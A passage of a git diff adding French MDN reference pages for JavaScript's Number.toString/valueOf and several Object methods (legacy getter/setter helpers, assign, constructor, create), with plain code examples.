Si l'objet Number est négatif, le signe sera conservé. Ceci, même si la base utilisée est la base 2 : la chaîne de caractères rendue sera la représentation binaire du nombre positif précédée par un signe -. La représentation n'est pas le complément à deux du nombre.

+ +

Si l'objet Number n'est pas un nombre entier, le point (.) sera utilisé pour séparer la partie entière et décimale.

+ +

Exemples

+ +

Utiliser toString

+ +
var compte = 10;
+
+console.log(compte.toString());   // affiche "10"
+console.log((17).toString());     // affiche "17"
+console.log((17.2).toString());   // affiche "17.2"
+
+var x = 6;
+
+console.log(x.toString(2));       // affiche "110"
+console.log((254).toString(16));  // affiche "fe"
+
+
+console.log((-10).toString(2));   // affiche "-1010"
+console.log((-0xff).toString(2)); // affiche "-11111111"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée par JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.4.2', 'Number.prototype.tostring')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.toString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.prototype.toFixed()")}}
    • +
  • {{jsxref("Number.prototype.toExponential()")}}
    • +
  • {{jsxref("Number.prototype.toPrecision()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/valueof/index.html b/files/fr/web/javascript/reference/global_objects/number/valueof/index.html new file mode 100644 index 0000000000..ad57b1599c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/valueof/index.html @@ -0,0 +1,86 @@ +--- +title: Number.prototype.valueOf() +slug: Web/JavaScript/Reference/Objets_globaux/Number/valueOf +tags: + - JavaScript + - Méthode + - Number + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/valueOf +--- +
{{JSRef}}
+ +

La méthode valueOf() renvoie la valeur primitive correspondant à celle représentée par l'objet {{jsxref("Number")}}.

+ +
{{EmbedInteractiveExample("pages/js/number-valueof.html")}}
+ + + +

Syntaxe

+ +
objetNumber.valueOf()
+ +

Valeur de retour

+ +

Un nombre qui représente la valeur primitive de l'objet {{jsxref("Number")}}.

+ +

Description

+ +

Cette méthode est généralement utilisée de façon interne au moteur JavaScript et n'est pas utilisée de façon explicite dans du code JavaScript.

+ +

Exemples

+ +

Utiliser valueOf

+ +
var numObj = new Number(10);
+console.log(typeof numObj); // object
+
+var num = numObj.valueOf();
+console.log(num);           // 10
+console.log(typeof num);    // number
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.4.4', 'Number.prototype.valueOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.valueOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.prototype.toSource()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/__definegetter__/index.html b/files/fr/web/javascript/reference/global_objects/object/__definegetter__/index.html new file mode 100644 index 0000000000..77c16bfe51 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/__definegetter__/index.html @@ -0,0 +1,103 @@ +--- +title: Object.prototype.__defineGetter__() +slug: Web/JavaScript/Reference/Objets_globaux/Object/defineGetter +tags: + - Déprécié + - JavaScript + - Méthode + - Object + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__ +--- +
{{JSRef}}
+ +
+

Attention : Cette fonctionnalité est dépréciée et il est préférable d'utiliser l'API {{jsxref("Object.defineProperty()")}} et la syntaxe d'initialisation d'objets. Toutefois, __defineGetter__ est largement utilisée sur le Web et est implémentée. Il est donc peu probable que les navigateurs retirent cette méthode.

+
+ +

La méthode __defineGetter__ permet de lier une propriété d'un objet à une fonction à exécuter lorsqu'on accède à la propriété.

+ +

Syntaxe

+ +
obj.__defineGetter__(prop, func)
+ +

Paramètres

+ +
+
prop
+
Une chaîne de caractères contenant le nom de la propriété à lier à la fonction donnée.
+
func
+
Une fonction à utiliser à chaque fois qu'on accède à la propriété.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Description

+ +

La méthode __defineGetter__ permet de définir un {{jsxref("Opérateurs/L_opérateur_get", "accesseur", "", 1)}} sur un objet pré-existant.

+ +

Exemples

+ +
// Méthode non-standard et dépréciée
+
+var o = {};
+o.__defineGetter__('gimmeFive', function() { return 5; });
+console.log(o.gimmeFive); // 5
+
+
+// Façon standard
+
+// En utilisant l'opérateur get
+var o = { get gimmeFive() { return 5; } };
+console.log(o.gimmeFive); // 5
+
+// En utilisant Object.defineProperty
+var o = {};
+Object.defineProperty(o, 'gimmeFive', {
+  get: function() {
+    return 5;
+  }
+});
+console.log(o.gimmeFive); // 5
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.prototype.__defineGetter__', 'Object.prototype.__defineGetter__()')}}{{Spec2('ESDraft')}}Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.defineGetter")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/object/__definesetter__/index.html b/files/fr/web/javascript/reference/global_objects/object/__definesetter__/index.html new file mode 100644 index 0000000000..21dce0f35e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/__definesetter__/index.html @@ -0,0 +1,115 @@ +--- +title: Object.prototype.__defineSetter__() +slug: Web/JavaScript/Reference/Objets_globaux/Object/defineSetter +tags: + - JavaScript + - Méthode + - Object + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__ +--- +
{{JSRef}}
+ +
+

Attention : Cette fonctionnalité est dépréciée et il est préférable d'utiliser l'API {{jsxref("Object.defineProperty()")}} et la syntaxe d'initialisation d'objets. Toutefois, __defineGetter__ est largement utilisée sur le Web et est implémentée. Il est donc peu probable que les navigateurs retirent cette méthode.

+
+ +

La méthode __defineSetter__ permet de lier une propriété d'un objet à une fonction qui sera exécutée pour toute tentative de définition/changement de cette propriété.

+ +

Syntaxe

+ +
obj.__defineSetter__(prop, fun)
+ +

Paramètres

+ +
+
prop
+
Une chaîne de caractères qui contient le nom de la propriété qu'on souhaite lier à la fonction.
+
fun
+
Une fonction à appeler pour chaque modification de la propriété. Cette fonction prend la forme suivante : + 
function(val) { . . . }
+ +
+
val
+
Un alias pour la variable contenant la nouvelle valeur qu'on souhaite affecter à prop.
+
+
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Description

+ +

La méthode __defineSetter__ permet de définir un {{jsxref("Opérateurs/L_opérateur_set", "mutateur", "", 1)}} sur un objet pré-existant.

+ +

Exemples

+ +
// Méthode non-standard et dépréciée
+
+var o = {};
+o.__defineSetter__('valeur', function(val) { this.uneAutreValeur = val; });
+o.valeur = 5;
+console.log(o.valeur); // undefined
+console.log(o.uneAutreValeur); // 5
+
+
+// Façons standard
+
+// En utilisant l'opérateur set
+var o = { set valeur(val) { this.uneAutreValeur = val; } };
+o.valeur = 5;
+console.log(o.valeur); // undefined
+console.log(o.uneAutreValeur); // 5
+
+// En utilisant Object.defineProperty
+var o = {};
+Object.defineProperty(o, 'valeur', {
+  set: function(val) {
+    this.uneAutreValeur = val;
+  }
+});
+o.valeur = 5;
+console.log(o.valeur); // undefined
+console.log(o.uneAutreValeur); // 5
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.prototype.__defineSetter__', 'Object.prototype.__defineSetter__()')}}{{Spec2('ESDraft')}}Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.defineSetter")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/object/__lookupgetter__/index.html b/files/fr/web/javascript/reference/global_objects/object/__lookupgetter__/index.html new file mode 100644 index 0000000000..fcb6bc6f0b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/__lookupgetter__/index.html @@ -0,0 +1,91 @@ +--- +title: Object.prototype.__lookupGetter__() +slug: Web/JavaScript/Reference/Objets_globaux/Object/lookupGetter +tags: + - Déprécié + - JavaScript + - Méthode + - Object + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__ +--- +
{{JSRef}} {{deprecated_header}}
+ +

La méthode __lookupGetter__ renvoie la fonction liée comme accesseur d'une propriété donnée.

+ +

Syntaxe

+ +
obj.__lookupGetter__(sprop)
+ +

Paramètres

+ +
+
sprop
+
Une chaîne de caractères qui contient le nom de la propriété dont on souhaite obtenir l'accesseur (getter).
+
+ +

Valeur de retour

+ +

La fonction qui est l'accesseur lié à la propriété indiquée.

+ +

Description

+ +

Si un accesseur a été défini pour une propriété, il n'est pas possible d'obtenir la fonction utilisée en accédant à la propriété car on obtiendrait la valeur de retour de l'accesseur au lieu de l'accesseur lui-même. __lookupGetter__ permet de récupérer la valeur de la fonction pour l'accesseur.

+ +

Cette méthode ne doit plus être utilisée et il est possible de la remplacer de façon standard en utilisant : {{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.getPrototypeOf()")}}.

+ +

Exemples

+ +
var obj = {
+  get toto() {
+    return Math.random() > 0.5 ? 'toto' : 'truc';
+  }
+};
+
+
+// Méthode non-standard et dépréciée
+obj.__lookupGetter__('toto');
+// (function() { return Math.random() > 0.5 ? 'toto' : 'truc'; })
+
+
+// Méthode standard
+Object.getOwnPropertyDescriptor(obj, "toto").get;
+// (function() { return Math.random() > 0.5 ? 'toto' : 'truc'; })
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.prototype.__lookupGetter__', 'Object.prototype.__lookupGetter__()')}}{{Spec2('ESDraft')}}Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.lookupGetter")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.lookupSetter","Object.prototype.__lookupSetter__()")}}
    • +
  • L'opérateur {{jsxref("Fonctions/get", "get")}}
    • +
  • {{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.getPrototypeOf()")}}
    • +
  • {{jsxref("Object.prototype.defineGetter","Object.prototype.__defineGetter__()")}}
    • +
  • {{jsxref("Object.prototype.defineSetter","Object.prototype.__defineSetter__()")}}
    • +
  • Guide JavaScript : Définir des getters et setters
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/__lookupsetter__/index.html b/files/fr/web/javascript/reference/global_objects/object/__lookupsetter__/index.html new file mode 100644 index 0000000000..0c67d3c5f8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/__lookupsetter__/index.html @@ -0,0 +1,91 @@ +--- +title: Object.prototype.__lookupSetter__() +slug: Web/JavaScript/Reference/Objets_globaux/Object/lookupSetter +tags: + - Déprécié + - JavaScript + - Méthode + - Object + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__ +--- +
{{JSRef}}{{deprecated_header}}
+ +

La méthode __lookupSetter__ renvoie la fonction définie comme mutateur pour une propriété donnée.

+ +

Syntaxe

+ +
obj.__lookupSetter__(sprop)
+ +

Paramètres

+ +
+
sprop
+
Une chaîne qui contient le nom de la propriété dont on souhaite obtenir le mutateur correspondant.
+
+ +

Valeur de retour

+ +

La fonction associée comme mutateur à la propriété indiquée.

+ +

Description

+ +

Si un mutateur a été défini pour une propriété, on ne peut pas l'obtenir en faisant référence à la propriété directement. __lookupSetter__ peut être utilisée pour obtenir une référence vers la fonction utilisée comme mutateur.

+ +

Cette méthode ne doit plus être utilisée et peut être remplacée avec la méthodes standard {{jsxref("Object.getOwnPropertyDescriptor()")}}.

+ +

Exemples

+ +
var obj = {
+  set toto(valeur) {
+    this.truc = value;
+  }
+};
+
+
+// Méthode non-standard et dépréciée
+obj.__lookupSetter__('toto')
+// (function(valeur) { this.truc = valeur; })
+
+
+// Méthode standard
+Object.getOwnPropertyDescriptor(obj, "toto").set;
+// (function(valeur) { this.truc = valeur; })
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.prototype.__lookupSetter__', 'Object.prototype.__lookupSetter__()')}}{{Spec2('ESDraft')}}Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.lookupSetter")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.lookupGetter","Object.prototype.__lookupGetter__()")}}
    • +
  • L'opérateur {{jsxref("Fonctions/set", "set")}}
    • +
  • {{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.getPrototypeOf()")}}
    • +
  • {{jsxref("Object.prototype.defineGetter","Object.prototype.__defineGetter__()")}}
    • +
  • {{jsxref("Object.prototype.defineSetter","Object.prototype.__defineSetter__()")}}
    • +
  • Guide JavaScript : Utiliser des getters et setters
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/assign/index.html b/files/fr/web/javascript/reference/global_objects/object/assign/index.html new file mode 100644 index 0000000000..8fdbdde216 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/assign/index.html @@ -0,0 +1,219 @@ +--- +title: Object.assign() +slug: Web/JavaScript/Reference/Objets_globaux/Object/assign +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Object + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign +--- +
{{JSRef}}
+ +

La méthode Object.assign() est utilisée afin de copier les valeurs de toutes les propriétés directes (non héritées) d'un objet qui sont énumérables sur un autre objet cible. Cette méthode renvoie l'objet cible.

+ +
{{EmbedInteractiveExample("pages/js/object-assign.html")}}
+ + + +

Syntaxe

+ +
Object.assign(cible, ...sources)
+ +

Paramètres

+ +
+
cible
+
L'objet cible.
+
sources
+
Le(s) objet(s) source(s).
+
+ +

Valeur de retour

+ +

L'objet cible, éventuellement modifié, est renvoyé.

+ +

Description

+ +

La méthode Object.assign permet de ne copier que les propriétés énumérables et propres (les propriétés qui ne sont pas héritées) depuis un objet source vers un objet cible. Elle utilise [[Get]] sur l'objet source et [[Set]] sur l'objet cible, ainsi, elle déclenchera les accesseurs/mutateurs. De cette façon, elle affecte les propriétés plutôt que de juste les copier ou d'en définir de nouvelles. Aussi, il est déconseillé d'utiliser cette méthode si on souhaite uniquement fusionner de nouvelles propriétés dans un prototype si un des objets sources contient des accesseurs. Pour uniquement copier les définitions des propriétés (y compris leur énumérabilité) dans des prototypes, on utilisera plutôt {{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.defineProperty()")}}.

+ +

Les propriétés {{jsxref("String")}} et {{jsxref("Symbol")}} sont copiées. Les propriétés de l'objet cible sont surchargées par celles de l'objet source si elles ont la même clé.

+ +

En cas d'erreur, si une propriété n'est pas accessible en écriture par exemple, une exception {{jsxref("TypeError")}} sera levée mais l'objet cible aura été modifié avec les propriétés ajoutées avant l'erreur.

+ +

Object.assign ne donnera pas d'erreur si on fournit les valeurs {{jsxref("null")}} ou {{jsxref("undefined")}} pour la valeur source.

+ +

Exemples

+ +

Cloner un objet

+ +
var obj = { a: 1 };
+var copie = Object.assign({}, obj);
+console.log(copie); // {a: 1}
+ +
+

Note : Attention, pour un clone réel (deep clone), il faudra utiliser d'autres méthodes car Object.assign() ne copie que les valeurs des propriétés depuis l'objet source, il ne recopie pas intégralement une nouvelle propriété. Si la valeur est une référence à un objet, il copiera uniquement la référence.

+
+ +

Fusionner des objets

+ +
var o1 = { a: 1 };
+var o2 = { b: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign(o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+console.log(o1);  // { a: 1, b: 2, c: 3 }, l'objet cible est aussi modifié
+
+ +

Fusionner des objets partageant des propriétés

+ +
var o1 = { a: 1, b: 1, c: 1 };
+var o2 = { b: 2, c: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign({}, o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+
+ +

Les propriétés communes sont surchargées selon l'ordre des paramètres.

+ +

Copier des propriétés symboliques

+ +
var o1 = { a: 1 };
+var o2 = { [Symbol('toto')]: 2 };
+
+var obj = Object.assign({}, o1, o2);
+console.log(obj); // { a: 1, [Symbol("toto")]: 2 }
+// Attention : dans Firefox le symbole n'est pas affiché
+// en raison du bug 1207182
+console.log(Object.getOwnPropertySymbols(obj)); // [Symbol(toto)]
+
+ +

Les propriétés héritées et les propriétés non-énumérables ne peuvent être copiées

+ +
var obj = Object.create({ toto: 1 }, { // toto est héritée
+  truc: {
+    value: 2  // truc est non-enumerable (par défaut)
+  },
+  bidule: {
+    value: 3,
+    enumerable: true  // bidule est une propriété propre et énumérable
+  }
+});
+
+var copie = Object.assign({}, obj);
+console.log(copie); // { bidule: 3 }
+
+ +

Les types primitifs seront passés en objets

+ +
var v1 = 'abc';
+var v2 = true;
+var v3 = 10;
+var v4 = Symbol('toto')
+
+var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
+// Les valeurs primitives seront converties, null et undefined seront ignorés.
+// Note : seules les chaînes peuvent avoir des propriétés énumérables.
+console.log(obj); // { "0": "a", "1": "b", "2": "c" }
+
+ +

Les exceptions interrompent la copie

+ +
var target = Object.defineProperty({}, 'toto', {
+  value: 1,
+  writable: false
+}); // target.toto est en lecture seule
+
+Object.assign(target, { truc: 2 }, { toto2: 3, toto: 3, toto3: 3 }, { bidule: 4 });
+// TypeError: "toto" est en lecture seule
+// L'exception est levée lorsqu'on affecte target.toto
+
+console.log(target.truc);  // 2, le premier objet source est bien copié
+console.log(target.toto2); // 3, la première propriété du deuxième objet source est bien copiée
+console.log(target.toto);  // 1, on a une exception ici
+console.log(target.toto3); // undefined, assign est terminé toto3 ne sera pas copié
+console.log(target.bidule);// undefined, le troisième objet source ne sera pas copié non plus.
+
+ +

Copier des accesseurs

+ +
var obj = {
+  toto: 1,
+  get truc() {
+    return 2;
+  }
+};
+
+var copie = Object.assign({}, obj);
+console.log(copie);
+// { toto: 1, truc: 2 }, la valeur de copie.truc
+// est la valeur renvoyée par l'accesseur d'obj.truc.
+
+// Voici une fonction qui copie les descripteurs
+// dans leur intégralité
+function completeAssign(target, ...sources) {
+  sources.forEach(source => {
+    let descriptors = Object.keys(source).reduce((descriptors, key) => {
+      descriptors[key] = Object.getOwnPropertyDescriptor(source, key);
+      return descriptors;
+    }, {});
+    // Par défaut, Object.assign copie également
+    // les symboles énumérables
+    Object.getOwnPropertySymbols(source).forEach(sym => {
+      let descriptor = Object.getOwnPropertyDescriptor(source, sym);
+      if (descriptor.enumerable) {
+        descriptors[sym] = descriptor;
+      }
+    });
+    Object.defineProperties(target, descriptors);
+  });
+  return target;
+}
+
+var copie = completeAssign({}, obj);
+console.log(copie);
+// { toto:1, get truc() { return 2 } }
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.assign")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/object/constructor/index.html b/files/fr/web/javascript/reference/global_objects/object/constructor/index.html new file mode 100644 index 0000000000..4630ec0f1e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/constructor/index.html @@ -0,0 +1,233 @@ +--- +title: Object.prototype.constructor +slug: Web/JavaScript/Reference/Objets_globaux/Object/constructor +tags: + - JavaScript + - Object + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor +--- +
{{JSRef}}
+ +

La propriété constructor renvoie une référence à la fonction {{jsxref("Object")}} qui a créé le prototype de l'instance. La valeur de cette propriété est une référence à la fonction elle-même, ce n'est pas une chaîne de caractères représentant le nom de la fonction. Cette valeur est en lecture seule pour les valeurs de types primitifs comme 1, true et "test".

+ +

Description

+ +

Tous les objets héritent d'une propriété constructor de leur prototype (à l'exception de ceux créés avec Object.create(null)). Les objets créés sans constructeur (c'est-à-dire avec des littéraux) auront le constructeur correspondant au type du littéral :

+ +
var o = {};
+o.constructor === Object; // true
+
+var a = [];
+a.constructor === Array; // true
+
+var n = new Number(3)
+n.constructor === Number; // true
+ +

Exemples

+ +

Afficher le constructeur d'un objet

+ +

L'exemple ci-dessous crée un constructeur Arbre, et un objet de ce type, monArbre. Le script affiche ensuite la propriété constructor de l'objet monArbre :

+ +
function Arbre(nom) {
+   this.nom = nom;
+}
+
+var monArbre = new Arbre("Sequoia");
+console.log( "monArbre.constructor vaut " + monArbre.constructor );
+ +

Cet exemple produira le résultat suivant :

+ +
monArbre.constructor vaut function Arbre(nom) {
+    this.nom = nom;
+}
+ +

Modifier le constructeur d'un objet

+ +

Dans l'exemple suivant, on illustre comment modifier la valeur d'un constructeur pour les objets génériques. Dans l'exemple suivant, seules les valeurs true, 1 et "test" ne seront pas affectées car leurs constructeurs sont en lecture seule uniquement. Cet exemple montre qu'il ne faut pas se reposer de façon aveugle sur la propriété constructor d'un objet.

+ +
function Type () {}
+
+var types = [
+  new Array(),
+  [],
+  new Boolean(),
+  true,             // restera tel quel
+  new Date(),
+  new Error(),
+  new Function(),
+  function () {},
+  Math,
+  new Number(),
+  1,                // restera tel quel
+  new Object(),
+  {},
+  new RegExp(),
+  /(?:)/,
+  new String(),
+  'test'            // restera tel quel
+];
+
+for (var i = 0; i < types.length; i++) {
+  types[i].constructor = Type;
+  types[i] = [types[i].constructor, types[i] instanceof Type, types[i].toString()];
+}
+
+console.log(types.join('\n'));
+
+ +

L'exemple produira le résultat suivant :

+ +
function Type() {},false,
+function Type() {},false,
+function Type() {},false,false
+function Boolean() {
+    [native code]
+},false,true
+function Type() {},false,Mon Sep 01 2014 16:03:49 GMT+0600
+function Type() {},false,Error
+function Type() {},false,function anonymous() {
+
+}
+function Type() {},false,function () {}
+function Type() {},false,[object Math]
+function Type() {},false,0
+function Number() {
+    [native code]
+},false,1
+function Type() {},false,[object Object]
+function Type() {},false,[object Object]
+function Type() {},false,/(?:)/
+function Type() {},false,/(?:)/
+function Type() {},false,
+function String() {
+    [native code]
+},false,test
+
+ +

Modifier le constructeur d'une fonction

+ +

La plupart du temps, cette  propriété est utilisée afin de définir une fonction en tant que constructeur, c'est-à-dire qu'on l'appellera avec new et en « attachant » la chaîne de prototypes.

+ +
function Parent() {}
+Parent.prototype.parentMethod = function parentMethod() {};
+
+function Child() {}
+// on redefinit le prototype de child afin qu'il pointe vers celui de Parent
+Child.prototype = Object.create(Parent.prototype);
+
+Child.prototype.constructor = Child; // on renvoie le constructeur original Child
+ +

Pourquoi faut-il écrire cette dernière ligne ? Eh bien, ça dépend.

+ +

Essayons de définir les cas où il est nécessaire de réaffecter le constructeur original et les cas où c'est superflu.

+ +

Imaginons que l'objet possède une méthode create() qui lui permette de créer un autre exemplaire :

+ +
function Parent() {};
+function CreatedConstructor() {}
+
+CreatedConstructor.prototype = Object.create(Parent.prototype);
+
+CreatedConstructor.prototype.create = function create() {
+  return new this.constructor();
+}
+
+new CreatedConstructor().create().create();
+// error undefined is not a function car constructor === Parent
+ +

Dans l'exemple précédent, on a une exception car le constructeur pointe vers Parent.

+ +

Pour éviter cet écueil, il suffit d'affecter le bon constructeur (celui qui sera utilisé ensuite) :

+ +
function Parent() {};
+function CreatedConstructor() {}
+
+CreatedConstructor.prototype = Object.create(Parent.prototype);
+// On réaffecte le bon constructeur afin de l'utiliser plus loin
+CreatedConstructor.prototype.constructor = CreatedConstructor;
+
+CreatedConstructor.prototype.create = function create() {
+  return new this.constructor();
+}
+
+new CreatedConstructor().create().create();
+// pas d'exception cette fois-ci
+ +

Prenons un autre exemple :

+ +
function ParentWithStatic() {}
+
+ParentWithStatic.startPosition = { x: 0, y:0 };
+ParentWithStatic.getStartPosition = function getStartPosition() {
+  return this.startPosition;
+}
+
+function Child(x, y) {
+  this.position = {
+    x: x,
+    y: y
+  };
+}
+
+Child.prototype = Object.create(ParentWithStatic.prototype);
+Child.prototype.constructor = Child;
+
+Child.prototype.getOffsetByInitialPosition = function getOffsetByInitialPosition() {
+  var position = this.position;
+  var startPosition = this.constructor.getStartPosition(); // error undefined is not a function, since the constructor is Child
+
+  return {
+    offsetX: startPosition.x - position.x,
+    offsetY: startPosition.y - position.y
+  }
+};
+ +

Ici, il faudra conserverr le constructeur parent si on veut que le code fonctionne correctement.

+ +

En résumé, lorsqu'on paramètre manuellement le constructeur, on peut obtenir des résultats sources de confusion. La plupart du temps, la propriété constructor n'est pas utilisée et la réaffecter n'est pas nécessaire.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.2.4.1', 'Object.prototype.constructor')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.constructor")}}

+
diff --git a/files/fr/web/javascript/reference/global_objects/object/create/index.html b/files/fr/web/javascript/reference/global_objects/object/create/index.html new file mode 100644 index 0000000000..67a36a268a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/create/index.html @@ -0,0 +1,304 @@ +--- +title: Object.create() +slug: Web/JavaScript/Reference/Objets_globaux/Object/create +tags: + - ECMAScript 5 + - JavaScript + - Méthode + - Object + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Object/create +--- +
{{JSRef}}
+ +

La méthode Object.create() crée un nouvel objet avec un prototype donné et des propriétés données.

+ +
{{EmbedInteractiveExample("pages/js/object-create.html")}}
+ + + +

Syntaxe

+ +
Object.create(proto)
+Object.create(proto, objetPropriétés)
+ +

Paramètres

+ +
+
proto
+
L'objet qui sera le prototype du nouvel objet créé.
+
objetPropriétés
+
Paramètre optionnel. S'il est fourni et qu'il ne vaut pas {{jsxref("undefined")}}, il sera utilisé comme un objet dont les propriétés propres (celles qui ne sont pas héritées par la chaîne de prototypes) et énumérables définiront des descripteurs pour les propriétés à ajouter au nouvel objet, avec les mêmes noms. Ces propriétés correspondent au deuxième argument de {{jsxref("Object.defineProperties()")}}.
+
+ +

Valeur de retour

+ +

Un nouvel objet qui dispose du prototype et des propriétés indiquées.

+ +

Exceptions

+ +

Cette méthode lève une exception {{jsxref("TypeError")}} si le paramètre objetPropriétés vaut {{jsxref("null")}} ou s'il ne décrit pas des propriétés d'un objet.

+ +

Exemples

+ +

L'héritage classique avec Object.create()

+ +

Dans l'exemple ci-dessous, on utilise Object.create() afin de réaliser un héritage de classe. Ce modèle ne supporte que l'héritage unique (un objet hérite directement uniquement d'un autre objet) car JavaScript ne gère pas l'héritage multiple.

+ +
// Forme, la classe parente
+function Forme() {
+  this.x = 0;
+  this.y = 0;
+}
+
+// Méthode de la classe parente
+Forme.prototype.déplacer = function(x, y) {
+  this.x += x;
+  this.y += y;
+  console.info('Forme déplacée.');
+};
+
+// Rectangle - classe fille
+function Rectangle() {
+  // on appelle le constructeur parent
+  Forme.call(this);
+}
+
+// La classe fille surcharge la classe parente
+Rectangle.prototype = Object.create(Forme.prototype);
+
+// Si on ne définit pas le constructeur avec Rectangle, il récupèrera le constructeur
+// Forme (le parent).
+Rectangle.prototype.constructor = Rectangle;
+
+var rect = new Rectangle();
+
+console.log('instance de Rectangle ? ', (rect instanceof Rectangle));
+// true
+console.log('une instance de Forme ? ', (rect instanceof Forme));
+ // true
+rect.déplacer(1, 1);
+// Affiche 'Forme déplacée.'
+
+ +

Si on souhaite hériter de plusieurs objets, on peut utiliser des mixins.

+ +
function MaClasse() {
+  ClasseParente1.call(this);
+  ClasseParente2.call(this);
+}
+
+MaClasse.prototype = Object.create(ClasseParente1.prototype); // héritage d'une classe
+Object.assign(MaClasse.prototype, ClasseParente2.prototype); // mixin pour une autre
+MaClasse.prototype.constructor = MaClasse; // On réaffecte le constructeur
+
+MaClasse.prototype.maMéthode = function() {
+  // faire quelque chose
+};
+
